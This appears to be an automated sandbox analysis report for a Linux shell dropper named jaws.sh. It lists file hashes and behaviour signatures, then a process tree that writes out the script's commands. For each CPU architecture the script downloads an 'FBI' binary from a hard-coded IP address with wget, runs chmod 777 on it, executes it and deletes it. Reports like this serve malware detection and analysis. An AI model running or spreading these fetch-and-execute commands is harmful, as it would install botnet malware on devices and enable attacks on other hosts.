Resubmissions
22-08-2022 21:26
220822-1ag81adddp 9Analysis
-
max time kernel
0s -
max time network
155s -
platform
linux_amd64 -
resource
ubuntu1804-amd64-en-20211208 -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-en-20211208kernel:4.15.0-161-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
22-08-2022 21:26
Static task
static1
Behavioral task
behavioral1
Sample
jaws.sh
Resource
ubuntu1804-amd64-en-20211208
Behavioral task
behavioral2
Sample
jaws.sh
Resource
debian9-armhf-en-20211208
Behavioral task
behavioral3
Sample
jaws.sh
Resource
debian9-mipsbe-en-20211208
Behavioral task
behavioral4
Sample
jaws.sh
Resource
debian9-mipsel-en-20211208
General
-
Target
jaws.sh
-
Size
1KB
-
MD5
bb622b61445bd51f4d2220f3285f1cab
-
SHA1
786160fabdf742b2f3afd9cf4d525db3abc9f1f3
-
SHA256
e579f4644d11462f73605d23f6516203b8889fa35704a92f384568d86a8362ea
-
SHA512
d6cb82fc6fa835f1a36e459302ed2de47dbaa208356a57b68a765a614bca35f812296f186366137dfcfbe16405951e5435e2418df4511eb1b277af1e22dc5c57
Malware Config
Signatures
-
Writes file to system bin folder 1 TTPs 1 IoCs
-
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
Processes:
cpdescription ioc process /proc/filesystems /proc/filesystems cp -
Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes:
jaws.shcpdescription ioc process /tmp/jaws.sh /tmp/jaws.sh jaws.sh /tmp/busybox /tmp/busybox cp
Processes
-
/tmp/jaws.sh/tmp/jaws.sh wget http://37.44.238.187/jaws.sh1⤵
- Writes file to tmp directory
PID:581 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Writes file to system bin folder
- Reads runtime system information
- Writes file to tmp directory
PID:582 -
/usr/bin/wgetwget http://37.44.238.187/FBI.i4862⤵PID:583
-
/bin/chmodchmod 777 FBI.i4862⤵PID:585
-
./FBI.i486./FBI.i486 jaws.i486.wget2⤵PID:586
-
/bin/rmrm -rf FBI.i4862⤵PID:587
-
/usr/bin/wgetwget http://37.44.238.187/FBI.x86_642⤵PID:588
-
/bin/chmodchmod 777 FBI.x86_642⤵PID:590
-
./FBI.x86_64./FBI.x86_64 jaws.x86_64.wget2⤵PID:595
-
/bin/rmrm -rf FBI.x86_642⤵PID:598
-
/usr/bin/wgetwget http://37.44.238.187/FBI.i5862⤵PID:602
-
/bin/chmodchmod 777 FBI.i5862⤵PID:604
-
./FBI.i586./FBI.i586 jaws.i586.wget2⤵PID:605
-
/bin/rmrm -rf FBI.i5862⤵PID:606
-
/usr/bin/wgetwget http://37.44.238.187/FBI.i6862⤵PID:607
-
/bin/chmodchmod 777 FBI.i6862⤵PID:609
-
./FBI.i686./FBI.i686 jaws.i686.wget2⤵PID:610
-
/bin/rmrm -rf FBI.i6862⤵PID:613
-
/usr/bin/wgetwget http://37.44.238.187/FBI.mips2⤵PID:617
-
/bin/chmodchmod 777 FBI.mips2⤵PID:619
-
./FBI.mips./FBI.mips jaws.mips.wget2⤵PID:620
-
/bin/rmrm -rf FBI.mips2⤵PID:622
-
/usr/bin/wgetwget http://37.44.238.187/FBI.mipsel2⤵PID:623
-
/bin/chmodchmod 777 FBI.mipsel2⤵PID:625
-
./FBI.mipsel./FBI.mipsel jaws.mipsel.wget2⤵PID:626
-
/bin/rmrm -rf FBI.mipsel2⤵PID:627
-
/usr/bin/wgetwget http://37.44.238.187/FBI.arm2⤵PID:628
-
/bin/chmodchmod 777 FBI.arm2⤵PID:630
-
./FBI.arm./FBI.arm jaws.arm.wget2⤵PID:631
-
/bin/rmrm -rf FBI.arm2⤵PID:633
-
/usr/bin/wgetwget http://37.44.238.187/FBI.arm52⤵PID:634
-
/bin/chmodchmod 777 FBI.arm52⤵PID:636
-
./FBI.arm5./FBI.arm5 jaws.arm5.wget2⤵PID:637
-
/bin/rmrm -rf FBI.arm52⤵PID:639
-
/usr/bin/wgetwget http://37.44.238.187/FBI.arm62⤵PID:640
-
/bin/chmodchmod 777 FBI.arm62⤵PID:642
-
./FBI.arm6./FBI.arm6 jaws.arm6.wget2⤵PID:643
-
/bin/rmrm -rf FBI.arm62⤵PID:645
-
/usr/bin/wgetwget http://37.44.238.187/FBI.arm72⤵PID:646
-
/bin/chmodchmod 777 FBI.arm72⤵PID:648
-
./FBI.arm7./FBI.arm7 jaws.arm7.wget2⤵PID:649
-
/bin/rmrm -rf FBI.arm72⤵PID:651
-
/usr/bin/wgetwget http://37.44.238.187/FBI.ppc2⤵PID:652
-
/bin/chmodchmod 777 FBI.ppc2⤵PID:654
-
./FBI.ppc./FBI.ppc jaws.ppc.wget2⤵PID:655
-
/bin/rmrm -rf FBI.ppc2⤵PID:657
-
/usr/bin/wgetwget http://37.44.238.187/FBI.m68k2⤵PID:658
-
/bin/chmodchmod 777 FBI.m68k2⤵PID:660
-
./FBI.m68k./FBI.m68k jaws.m68k.wget2⤵PID:661
-
/bin/rmrm -rf FBI.m68k2⤵PID:662
-
/usr/bin/wgetwget http://37.44.238.187/FBI.sh42⤵PID:663
-
/bin/chmodchmod 777 FBI.sh42⤵PID:665
-
./FBI.sh4./FBI.sh4 jaws.sh4.wget2⤵PID:666
-
/bin/rmrm -rf FBI.sh42⤵PID:668